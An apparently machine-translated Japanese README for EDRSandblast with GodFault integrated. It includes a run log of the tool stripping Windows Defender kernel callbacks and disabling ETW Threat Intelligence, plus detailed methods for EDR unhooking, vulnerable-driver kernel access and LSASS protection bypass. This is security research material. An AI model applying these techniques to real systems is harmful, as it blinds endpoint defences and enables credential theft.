Elastic Security の Gabriel Landau 著。 EDRSandblast の修正 - 以下のオリジナルの README を参照してください。
GodFault を EDR Sandblast に統合し、脆弱なドライバーを使用せずに同じ結果を達成します。
C:UsersuserDesktopOffsets>EDRSandblast.exe --kernelmode cmd
______ _____ _____ _____ _ _ _ _
| ____| __ | __ / ____| | | | | | | |
| |__ | | | | |__) | (___ __ _ _ __ __| | |__ | | __ _ ___| |_
| __| | | | | _ / ___ / _` | '_ / _` | '_ | |/ _` / __| __|
| |____| |__| | | ____) | (_| | | | | (_| | |_) | | (_| __ | |_
|______|_____/|_| _|_____/ __,_|_| |_|__,_|_.__/|_|__,_|___/__|
D3FC0N 30 Edition | Thomas DIOT (@_Qazeer) & Maxime MEIGNAN (@th3m4ks)
[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)
[===== KERNEL MODE =====]
[+] Setting up prerequisites for the kernel read/write primitives...
[+] Loading kernel related offsets from the CSV file
[*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe
[+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)!
[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...
[+] [NotifyRountines] Enumerating process creation callbacks
[+] Running command: GodFault.exe -t 2684
[?] Server does not appear to be running. Attempting to install it...
[+] CSRSS PID is 748
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] Thread 2684 (KTHREAD FFFF910961E4C080) has been blessed by GodFault
[+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500]
[+] [NotifyRountines] fffff8034e9efdc0 [WdFilter.sys + 0x4fdc0]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460]
[+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0]
[+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980]
[+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890]
[+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0]
[+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70]
[+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00]
[+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550]
[+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)
[+] [NotifyRountines] Enumerating thread creation callbacks
[+] [NotifyRountines] fffff8034e9f15c0 [WdFilter.sys + 0x515c0]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff8034e9f1350 [WdFilter.sys + 0x51350]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010]
[+] [NotifyRountines] Found a total of 2 EDR / security products driver(s)
[+] [NotifyRountines] Enumerating image loading callbacks
[+] [NotifyRountines] fffff8034e9f0820 [WdFilter.sys + 0x50820]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710]
[+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)
[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...
[+] [ObjectCallblacks] Enumerating Process object callbacks :
[+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications:
[+] [ObjectCallblacks] Status: Enabled
[+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30]
[+] [ObjectCallblacks] Callback belongs to an EDR and is enabled!
[+] [ObjectCallblacks] Enumerating Thread object callbacks :
[+] [ObjectCallblacks] Object callbacks are present !
[+] [ETWTI] Checking the ETW Threat Intelligence Provider state...
[+] [ETWTI] ETW Threat Intelligence Provider is ENABLED!
[+] Process is NOT "safe" to launch our payload, removing monitoring and starting another process...
[+] [ETWTI] Disabling the ETW Threat Intel provider by patching ProviderEnableInfo at 0xffff91095ce8c430 with 0x00.
[+] [ETWTI] The ETW Threat Intel provider was successfully disabled!
[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading...
[+] [NotifyRountines] Removing process creation callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c2a8 | callback struct: 0xffff91095dbf3a5f | callback function: 0xfffff8034e9efdc0]
[+] [NotifyRountines] Removing thread creation callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a0 | callback struct: 0xffff91095dbf3b1f | callback function: 0xfffff8034e9f15c0]
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a8 | callback struct: 0xffff91095dbf3b4f | callback function: 0xfffff8034e9f1350]
[+] [NotifyRountines] Removing image loading callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c6a0 | callback struct: 0xffff91095dbf3e4f | callback function: 0xfffff8034e9f0820]
[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication...
[+] [ObjectCallblacks] Disabling WdFilter.sys callback...
[+] All EDR drivers were successfully removed from Kernel callbacks!
==================================================
Starting a new unmonitored process...
==================================================
[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)
[===== KERNEL MODE =====]
[+] Setting up prerequisites for the kernel read/write primitives...
[+] Loading kernel related offsets from the CSV file
[*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe
[+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)!
[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...
[+] [NotifyRountines] Enumerating process creation callbacks
[+] Running command: GodFault.exe -t 8344
[+] Thread 8344 (KTHREAD FFFF91096169F080) has been blessed by GodFault
[+] Initial blessing successful
[+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500]
[+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460]
[+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0]
[+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980]
[+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890]
[+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0]
[+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70]
[+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00]
[+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550]
[+] [NotifyRountines] No EDR driver(s) found!
[+] [NotifyRountines] Enumerating thread creation callbacks
[+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010]
[+] [NotifyRountines] No EDR driver(s) found!
[+] [NotifyRountines] Enumerating image loading callbacks
[+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710]
[+] [NotifyRountines] No EDR driver(s) found!
[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...
[+] [ObjectCallblacks] Enumerating Process object callbacks :
[+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications:
[+] [ObjectCallblacks] Status: Disabled
[+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30]
[+] [ObjectCallblacks] Callback belongs to an EDR but is disabled.
[+] [ObjectCallblacks] Enumerating Thread object callbacks :
[+] [ObjectCallblacks] Object callbacks are not found !
[+] [ETWTI] Checking the ETW Threat Intelligence Provider state...
[+] [ETWTI] ETW Threat Intelligence Provider is DISABLED!
[+] Process is "safe" to launch our payload
[+] Kernel callbacks have normally been removed, starting cmd.exe
WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)
WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!
Microsoft Windows [Version 10.0.22621.1702]
(c) Microsoft Corporation. All rights reserved.
C:UsersuserDesktopOffsets>
?元の README は以下ですか?
EDRSandBlast
はC
で書かれたツールで、脆弱な署名付きドライバーを武器にして EDR 検出 (通知ルーチン コールバック、オブジェクト コールバック、 ETW TI
プロバイダー) とLSASS
保護をバイパスします。ユーザーランドの監視を回避するために、複数のユーザーランドのフック解除手法も実装されています。
リリース時点では、ユーザーランド ( --usermode
) とカーネルランド ( --kernelmode
) のテクニックを組み合わせて、EDR の監視下でLSASS
メモリをダンプするために使用されていましたが、ブロックされたり、製品 (クラウド) で「OS Credential Dumping」関連イベントが生成されたりすることはありませんでした。 ) コンソール。テストは 3 つの異なる EDR 製品に対して実行され、いずれの場合も成功しました。
EDR 製品は、Windows 上でカーネルの「通知ルーチン」コールバックを使用して、プロセスやスレッドの作成、イメージ ( exe
/ DLL
) のロードなどのシステム アクティビティをカーネルから通知します。
これらのカーネル コールバックは、文書化された多数の API ( nt!PsSetCreateProcessNotifyRoutine
、 nt!PsSetCreateThreadNotifyRoutine
など) を使用して、カーネルランドから、通常はコールバックを実装するドライバーから定義されます。これらの API は、ドライバーが提供するコールバック ルーチンを、カーネル空間内の文書化されていないルーチンの配列に追加します。
PspCreateProcessNotifyRoutine
PspCreateThreadNotifyRoutine
PspLoadImageNotifyRoutine
EDRSandBlast
、これらの配列で定義されているルーチンを列挙し、EDR ドライバーの事前定義リストにリンクされているコールバック ルーチンを削除します (1000 を超えるセキュリティ製品のドライバーがサポートされています。EDR ドライバーの検出セクションを参照してください。列挙と削除は、脆弱なドライバーの悪用によって提供される任意のカーネル メモリ読み取り/書き込みプリミティブ (脆弱なドライバーのセクションを参照)。
前述の配列のオフセットは、複数の手法を使用して復元されます。「オフセット」セクションを参照してください。
EDR (さらには EPP) 製品では、 nt!ObRegisterCallbacks
カーネル API を使用して「オブジェクト コールバック」を登録することがよくあります。これらのコールバックにより、特定のオブジェクト タイプでハンドルが生成されるたびにセキュリティ製品に通知を受け取ることができます (プロセス、スレッド、およびデスクトップ関連のオブジェクト コールバックが Windows でサポートされるようになりました)。ハンドルの生成は、オブジェクトを開くとき ( OpenProcess
、 OpenThread
などの呼び出し) およびハンドルの複製 ( DuplicateHandle
の呼び出しなど) で発生する場合があります。
これらの各操作についてカーネルから通知を受けることにより、セキュリティ製品はハンドル作成の正当性 (たとえば、未知のプロセスが LSASS を開こうとしている) を分析し、脅威が検出された場合にはブロックすることもあります。
ObRegisterCallbacks
を使用してコールバックを登録するたびに、コールバックの影響を受けるオブジェクトのタイプ (プロセス、スレッド、デスクトップのいずれか) を記述する新しい項目が、 _OBJECT_TYPE
オブジェクト内に存在するCallbackList
二重リンク リストに追加されます。残念ながら、これらの項目は、Microsoft によって文書化されておらず、シンボル ファイルでも公開されていない構造によって記述されています。ただし、 ntoskrnl.exe
さまざまなバージョンを調べてみると、(少なくとも) Windows 10 ビルド 10240 と 22000 (2015 年から 2022 年) の間で構造が変わっていないことが示されているようです。
オブジェクト コールバック登録を表す前述の構造は次のとおりです。
typedef struct OB_CALLBACK_ENTRY_t {
LIST_ENTRY CallbackList ; // linked element tied to _OBJECT_TYPE.CallbackList
OB_OPERATION Operations ; // bitfield : 1 for Creations, 2 for Duplications
BOOL Enabled ; // self-explanatory
OB_CALLBACK * Entry ; // points to the structure in which it is included
POBJECT_TYPE ObjectType ; // points to the object type affected by the callback
POB_PRE_OPERATION_CALLBACK PreOperation ; // callback function called before each handle operation
POB_POST_OPERATION_CALLBACK PostOperation ; // callback function called after each handle operation
KSPIN_LOCK Lock ; // lock object used for synchronization
} OB_CALLBACK_ENTRY ;
前述のOB_CALLBACK
構造体も文書化されておらず、次のように定義されています。
typedef struct OB_CALLBACK_t {
USHORT Version ; // usually 0x100
USHORT OperationRegistrationCount ; // number of registered callbacks
PVOID RegistrationContext ; // arbitrary data passed at registration time
UNICODE_STRING AltitudeString ; // used to determine callbacks order
struct OB_CALLBACK_ENTRY_t EntryItems [ 1 ]; // array of OperationRegistrationCount items
WCHAR AltitudeBuffer [ 1 ]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer
} OB_CALLBACK ;
EDR 登録オブジェクトのコールバックを無効にするために、 EDRSandblast
には 3 つの手法が実装されています。ただし、現時点では 1 つだけが有効になっています。
OB_CALLBACK_ENTRY
のEnabled
フィールドの使用これはEDRSandblast
で有効になっているデフォルトの手法です。 EDR 関連のオブジェクト コールバックを検出して無効にするために、プロセス タイプとスレッドタイプに関連付けられた_OBJECT_TYPE
オブジェクトにあるCallbackList
リストが参照されます。両方の_OBJECT_TYPE
は、カーネル内のパブリック グローバル シンボルPsProcessType
およびPsThreadType
によってポイントされます。
リストの各項目は、上で説明したOB_CALLBACK_ENTRY
構造に適合すると想定されます (この想定は、この記事の執筆時点では少なくともすべての Windows 10 ビルドに当てはまります)。 PreOperation
フィールドとPostOperation
フィールドで定義された関数は、EDR ドライバーに属しているかどうかを確認するために配置されており、EDR ドライバーに属している場合は、 Enabled
フラグを切り替えるだけでコールバックが無効になります。
かなり安全な手法ではありますが、文書化されていない構造に依存するという不便な点があります。この構造の安全でない操作のリスクを軽減するために、いくつかのフィールドが期待値を持っているかどうかを検証するために基本的なチェックが実行されます。
Enabled
はTRUE
またはFALSE
いずれかです (笑わないでください。 BOOL
はint
なので、 1
または0
以外の値になる可能性があります)。Operations
OB_OPERATION_HANDLE_CREATE
、 OB_OPERATION_HANDLE_DUPLICATE
、またはその両方です。ObjectType
PsProcessType
またはPsThreadType
をポイントします。 CallbackList
のリンクを解除する文書化されていない構造に依存しない (したがって、理論的には NT カーネルの変更に対してより堅牢である) 別の戦略は、プロセスとスレッドの両方のCallbackList
全体のリンクを解除することです。 _OBJECT_TYPE
オブジェクトは次のとおりです。
struct _OBJECT_TYPE {
LIST_ENTRY TypeList ;
UNICODE_STRING Name ;
[...]
_OBJECT_TYPE_INITIALIZER TypeInfo ;
[...]
LIST_ENTRY CallbackList ;
}
CallbackList
LIST_ENTRY
のFlink
およびBlink
ポインタがLIST_ENTRY
自体を指すようにすると、実質的にリストが空になります。 _OBJECT_TYPE
構造はカーネルのシンボルで公開されるため、この手法はハードコードされたオフセット/構造に依存しません。ただし、いくつかの欠点もあります。
1 つ目は、EDR からのコールバックを無効にすることしかできないことです。実際、この手法は、「正規の」ソフトウェアによって登録された可能性のあるすべてのオブジェクト コールバックに影響を与えます。ただし、オブジェクト コールバックは Windows 10 にプレインストールされているコンポーネント (執筆時点) では使用されないため、オブジェクト コールバックを無効にしてもマシンの安定性に影響はありません (無効化が一時的な場合はさらに影響を受けます)。
2 番目の欠点は、OS の通常の機能では、プロセスまたはスレッドのハンドル操作が非常に頻繁に (ほぼ継続的に) 行われることです。そのため、使用されるカーネル書き込みプリミティブがQWORD
書き込みを「アトミックに」実行できない場合、上書きの途中でカーネルによって_OBJECT_TYPE.CallbackList.Flink
ポインターがアクセスされる可能性が高くなります。たとえば、MSI の脆弱なドライバーRTCore64.sys
一度にDWORD
書き込みしか実行できないため、ポインターを上書きするには 2 つの異なる IOCTL が必要になり、その間にカーネルがそれを使用する可能性が高くなります (クラッシュが発生します)。一方、脆弱な DELL ドライバーDBUtil_2_3.sys
は、1 つの IOCTL で任意のサイズの書き込みを実行できるため、このメソッドを使用してもクラッシュが発生する危険はありません。
私たちが見つけた最後のテクニックは、スレッドとプロセスに対するオブジェクト コールバックのサポートを完全に無効にすることでした。プロセスとスレッドのタイプに対応する_OBJECT_TYPE
構造内には、文書化された_OBJECT_TYPE_INITIALIZER
構造の後にTypeInfo
フィールドが存在します。後者には、 ObjectTypeFlags
ビット フィールドが含まれており、そのSupportsObjectCallbacks
フラグは、記述されたオブジェクト タイプ (プロセス、スレッド、デスクトップ、トークン、ファイルなど) がオブジェクト コールバック登録をサポートするかどうかを決定します。前述したように、この記事の執筆時点では、Windows インストール上でこれらのコールバックをサポートしているのは、プロセス、スレッド、およびデスクトップのオブジェクト タイプのみです。
SupportsObjectCallbacks
ビットは、 CallbackList
読み取る前に (もちろんコールバックを実行する前に) ObpCreateHandle
またはObDuplicateObject
によってチェックされるため、カーネル実行時にビットを反転すると、すべてのオブジェクト コールバックの実行が効果的に無効になります。
このメソッドの主な欠点は、単にKPP (「 PatchGuard 」) が一部 (すべて ?) _OBJECT_TYPE
構造の整合性を監視し、パラメーター 4 が0x8
に等しい、つまりオブジェクト タイプ構造が変更されたことを意味する0x109 Bug Check
をトリガーすることです。
ただし、無効化/再有効化 (およびその間の「悪意のある」アクション) を十分に迅速に実行すれば、 PatchGuardと「競合」するのに十分です (運悪く定期チェックが間違ったタイミングで実行されない限り)。
ETW Microsoft-Windows-Threat-Intelligence
プロバイダーは、一般的に悪意を持って使用される一部の Windows API の使用状況に関するデータをログに記録します。これには、 nt!MiReadWriteVirtualMemory
API ( LSASS
メモリのダンプに使用される) nt!NtReadVirtualMemory
によって呼び出され、 nt!EtwTiLogReadWriteVm
関数によって監視されます。
EDR 製品は、それぞれSERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT
またはPS_PROTECTED_ANTIMALWARE_LIGHT
として実行され、 Early Launch Anti Malware (ELAM)
ドライバーに関連付けられているサービスまたはプロセスを通じて、 ETW TI
プロバイダーによって生成されたログを消費できます。
slaeryan
がCNO Development Labs
ブログ投稿で公開したように、 ETW TI
プロバイダーは、カーネル メモリ内でProviderEnableInfo
属性を0x0
にパッチすることで完全に無効にすることができます。このテクニックの詳細については、前述の優れたブログ投稿を参照してください。
カーネル コールバックの削除と同様に、必要なntoskrnl.exe
オフセット ( nt!EtwThreatIntProvRegHandleOffset
、 _ETW_REG_ENTRY
のGuidEntry
、および_ETW_GUID_ENTRY
のProviderEnableInfo
) は、いくつかの Windows カーネル バージョンのNtoskrnlOffsets.csv
ファイル内で計算されます。
プロセスによって実行されるアクションを簡単に監視するために、EDR 製品では、ユーザーランド フッキングと呼ばれるメカニズムが導入されることがよくあります。まず、EDR 製品はカーネル コールバック (通常はイメージの読み込みまたはプロセス作成のコールバック、上記を参照) を登録し、各プロセスの開始時に通知できるようにします。
プロセスが Windows によって読み込まれるとき、実際に開始する前に、EDR は監視ロジックを含むプロセスのアドレス空間にカスタム DLL を挿入できます。この DLL は、ロード中に、EDR によって監視されるすべての関数の開始時に「フック」を挿入します。実行時、監視対象の関数が監視下のプロセスによって呼び出されるとき、これらのフックは制御フローを EDR の DLL に存在する監視コードにリダイレクトします。これにより、これらの呼び出しの引数と戻り値を検査できるようになります。
ほとんどの場合、監視対象の関数はシステム コール ( NtReadVirtualMemory
、 NtOpenProcess
など) であり、その実装はntdll.dll
に存在します。 Nt*
関数への呼び出しをインターセプトすることで、製品をユーザーランド/カーネルランドの境界にできる限り近づけることができます (ユーザーランドに留まりながら)。ただし、一部の上位 DLL からの関数も同様に監視される場合があります。
以下は、EDR 製品によってフックされる前と後の同じ機能の例です。
NtProtectVirtualMemory proc near
mov r10 , rcx
mov eax , 50h
test byte ptr ds : 7FFE0308h , 1
jnz short loc_18009D1E5
syscall
retn
loc_18009D1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
NtProtectVirtualMemory proc near
jmp sub_7FFC74490298 ; --> "hook", jump to EDR analysis function
int 3 ; overwritten instructions
int 3 ; overwritten instructions
int 3 ; overwritten instructions
test byte_7FFE0308 , 1 ; <-- execution resumes here after analysis
jnz short loc_7FFCB44AD1E5
syscall
retn
loc_7FFCB44AD1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
ユーザーランド フックには、ユーザーランド メモリ内に配置されるという「弱点」があります。つまり、監視下のプロセスによって直接監視および変更可能であることを意味します。プロセス アドレス空間内のフックを自動的に検出するための主なアイデアは、ディスク上の元の DLL と、EDR によって変更された可能性があるメモリ内に常駐するライブラリの違いを比較することです。この比較を実行するには、EDRSandblast を使用して次の手順を実行します。
PEB
内にあるInLoadOrderModuleList
のおかげで列挙されます (監視されている不審な API の呼び出しを避けるため)注: このプロセスは、エクスポートされた関数の先頭だけでなく、書き込み不可能なセクションの任意の場所で相違点を見つけるように一般化できます。たとえば、EDR 製品が関数の途中でフックの適用を開始する場合:) したがって、このツールでは使用されません。 findDiffsInNonWritableSections
に実装されています。
これらのフックによって実行される監視をバイパスするには、複数の手法が可能ですが、それぞれに利点と欠点があります。
フックベースの監視をバイパスする最も直感的な方法は、フックを削除することです。フックはプロセス自体が到達可能なメモリ内に存在するため、フックを削除するには、プロセスは次のようにするだけで済みます。
このアプローチは非常に簡単で、検出されたすべてのフックを一度に削除するために使用できます。これにより、最初に攻撃的なツールによって実行されるため、コードの残りの部分はフッキング メカニズムをまったく認識せず、監視されることなく通常どおり実行できます。
ただし、これには 2 つの主な欠点があります。 EDR はおそらくNtProtectVirtualMemory
の使用を監視しているため、これを使用してフックがインストールされているページのアクセス許可を変更することは (少なくとも概念的には) 悪い考えです。また、スレッドが EDR によって実行され、フックの整合性を定期的にチェックする場合、これによって何らかの検出がトリガーされる可能性もあります。
実装の詳細については、 unhook_method
がUNHOOK_WITH_NTPROTECTVIRTUALMEMORY
の場合のunhook()
関数のコード パスを確認してください。
重要な注意: 簡単にするために、この手法は他のバイパス手法を紹介するために使用される基本手法として EDRSandblast に実装されています。それぞれは、 NtProtectVirtualMemory
の監視されていないバージョンを取得する方法を示していますが、後で同じ操作を実行します (特定のフックのフックを解除します)。
特定のフックをバイパスするには、単純に「ジャンプ」して残りの関数をそのまま実行することができます。まず、フックをインストールするために EDR によって上書きされた監視対象関数の元のバイトを DLL ファイルから回復する必要があります。前のコード例では、これは次の命令に対応するバイトになります。
mov r10 , rcx
mov eax , 50h
前述のように、ライブラリのメモリ バージョンとディスク バージョンの両方のクリーンなdiff を実行できるため、これらのバイトを識別するのは簡単な作業です。次に、制御フローをフックの直後のコードにリダイレクトするように構築されたジャンプ命令を、アドレスNtProtectVirtualMemory + sizeof(overwritten_instructions)
にアセンブルします。
jmp NtProtectVirtualMemory + 8
最後に、これらのオペコードを連結し、(新たに) 実行可能メモリに格納し、それらへのポインタを保持します。このオブジェクトは「トランポリン」と呼ばれ、元のNtProtectVirtualMemory
関数と厳密に同等の関数ポインターとして使用できます。
この手法の主な利点は、以下のすべての手法と同様に、フックが決して消去されないため、EDR によってフックに対して実行される整合性チェックに合格することです。ただし、シェルコードの割り当てでは一般的な、書き込み可能で実行可能なメモリを割り当てる必要があるため、EDR の監視の対象となります。
実装の詳細については、 unhook_method
がUNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE
の場合のunhook()
関数のコード パスを確認してください。このテクニックは実装でのみ紹介されており、以下のすべてのテクニックのように、最終的にはメモリからフックを削除するために使用されることを覚えておいてください。
EDR 製品は、そのフックが機能するために、削除したオペコードをメモリ内のどこかに保存する必要があります。最悪 (攻撃者の観点からは「より良い」 ) は、元の命令を効果的に使用するために、EDR が呼び出しを傍受した後に元の関数を実行するためにどこかにトランポリンを割り当てた可能性があります。
このトランポリンは、実行可能メモリを割り当てたり、無害な関数として監視されない可能性が高いVirtualQuery
以外の API を呼び出したりすることなく、フックされた関数の代わりとして検索して使用できます。
メモリ内のトランポリンを見つけるには、 VirtualQuery
使用してアドレス空間全体を参照し、コミットされた実行可能なメモリを探します。このようなメモリ領域ごとに、上書きされた命令 (前の例ではNtProtectVirtualMemory+8
) に続くアドレスをターゲットとするジャンプ命令を探すためにスキャンします。その後、トランポリンを使用して、フックをトリガーせずにフックされた関数を呼び出すことができます。
この手法は、テストされた EDR 上のほぼすべてのトランポリンを回復するため、驚くほどうまく機能します。実装の詳細については、 unhook_method
がUNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE
の場合のunhook()
関数のコード パスを確認してください。
NtProtectVirtualMemory
関数の監視されていないバージョンにアクセスするもう 1 つの簡単な方法は、 ntdll.dll
ライブラリの複製バージョンをプロセス アドレス空間にロードすることです。 2 つの同一の DLL は、名前が異なっていれば同じプロセスでロードできるため、正規のntdll.dll
ファイルを別の場所にコピーし、 LoadLibrary
を使用してロードし (またはロード プロセスを再実装し)、 GetProcAddress
使用して関数にアクセスするだけです。例えば。
この手法は理解と実装が非常に簡単で、ほとんどの EDR 製品はプロセスの実行後に新しく読み込まれた DLL にフックを再インストールしないため、成功する可能性はかなり高くなります。ただし、大きな欠点は、Microsoft 署名バイナリを別の名前でコピーすることは、それ自体と同様に EDR 製品によって疑わしいと見なされることが多いことです。
ただし、この手法はEDRSandblast
に実装されています。実装の詳細については、 unhook_method
がUNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY
の場合のunhook()
関数のコード パスを確認してください。
システム コール関連の関数を使用するには、EDR によって監視される可能性があるntdll.dll
内のコードに実際に触れることなく、1 つのプログラムでシステム コールを (アセンブリ内で) 再実装し、対応する OS 機能を呼び出すことができます。これにより、 ntdll.dll
の syscall 関数で行われるユーザーランドのフックが完全にバイパスされます。
ただし、これにはいくつかの欠点があります。まず、これは、プログラムが必要とする関数の syscall 番号のリストを知ることができることを意味します。これは Windows のバージョンごとに異なります。それでも、これは、Windows NT の過去のすべてのバージョンで機能することが知られている複数のヒューリスティック ( ntdll
のZw*
エクスポートの並べ替え、mov rax の検索、関連するntdll
関数のmov rax, #syscall_number
命令など) を実装することによって軽減されます。それらをすべてチェックすると、同じ結果が返されます (詳細については、 Syscalls.c
参照してください)。
また、技術的には syscall ではない関数 (例: LoadLibraryX
/ LdrLoadDLL
) も同様に監視できますが、syscall を使用して単純に再実装することはできません。
直接システムコール手法は EDRSandblast に実装されています。前述したように、これはNtProtectVirtualMemory
を安全に実行し、検出されたすべてのフックを削除するためにのみ使用されます。
実装の詳細については、 unhook_method
がUNHOOK_WITH_DIRECT_SYSCALL
の場合のunhook()
関数のコード パスを確認してください。
前述したように、カーネル メモリの読み取りまたは書き込みを必要とするすべてのアクションは、このプリミティブを与える脆弱なドライバーに依存しています。 EDRSanblast では、読み取り/書き込みプリミティブを提供する新しいドライバーのサポートを「簡単に」追加できます。実装する必要があるのは、次の 3 つの関数のみです。
ReadMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)
関数。カーネル アドレスAddress
からユーザーランド バッファBuffer
にSize
バイトをコピーします。WriteMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)
関数。 ユーザーランド バッファBuffer
からカーネル アドレスAddress
にSize
バイトをコピーします。CloseDriverHandle_DRIVERNAME()
、ドライバーへのすべてのハンドルが閉じられていることを確認します (現時点ではドライバーに依存しないアンインストール操作の前に必要です)。例として、EDRSandblast では現在、 RTCore64.sys
(SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD
) とDBUtils_2_3.sys
(SHA256: 0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5
)。使用されている脆弱なドライバーを変更する必要がある場合、または新しいドライバーを実装する場合は、 KernelMemoryPrimitives.h
内の次のコードを更新します。
#define RTCore 0
#define DBUtil 1
// Select the driver to use with the following #define
#define VULN_DRIVER RTCore
#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#endif
現在、特定のドライバーまたはプロセスが EDR 製品に属するかどうかを判断するために、複数の手法が使用されています。
まず、ドライバーの名前をその目的に単純に使用できます。実際、Microsoft は、カーネルにコールバックを挿入する必要があるすべてのドライバーに「Altitudes」と呼ばれる特定の数値を割り当てています。これにより、登録順序とは独立して、ドライバーの使用状況にのみ基づいて、コールバックの実行順序を決定することができます。特定の高度を予約しているドライバー (のベンダー) のリストは、MSDN で見つけることができます。その結果、セキュリティ製品に関連するセキュリティ ドライバー名のほぼ包括的なリストが Microsoft によって提供されており、主に「FSFilter Anti-Virus」および「FSFilter Activity Monitor」のリストが含まれています。これらのドライバー名のリストは、追加の貢献物と同様に EDRSandblast に埋め込まれています。
さらに、EDR 実行可能ファイルと DLL は、多くの場合、ベンダー署名証明書を使用してデジタル署名されます。したがって、プロセスに関連付けられた実行可能ファイルまたは DLL の署名者をチェックすると、EDR 製品を迅速に特定できる可能性があります。
また、ドライバーをカーネル空間にロードできるようにするには、Microsoft によって直接署名される必要があります。ドライバーのベンダーはドライバー自体の直接の署名者ではありませんが、ベンダーの名前が署名の属性内に依然として含まれていることがわかります。ただし、この検出技術はまだ調査および実装されていません。
最後に、EDRSandblast にとって未知の EDR に直面した場合、最善のアプローチは、ツールを「監査」モードで実行し、カーネル コールバックが登録されているドライバーのリストを確認することです。その後、ドライバーの名前をリストに追加し、ツールを再コンパイルして再実行します。
Windows 8.1 および Windows Server 2012 R2 で初めて導入されたLocal Security Authority (LSA) Protection
メカニズムは、 Protected Process Light (PPL)
テクノロジを利用してLSASS
プロセスへのアクセスを制限します。 PPL
保護は、 SeDebugPrivilege
特権を保持しているプロセスからであっても、保護されたプロセスのメモリ インジェクションやメモリ ダンピングなどの操作を規制および制限します。プロセス保護モデルでは、より高い保護レベルで実行されているプロセスのみが、保護されたプロセス上で操作を実行できます。
カーネル メモリ内のプロセスを表すために Windows カーネルによって使用される_EPROCESS
構造体には、 Type
( _PS_PROTECTED_TYPE
) 属性とSigner
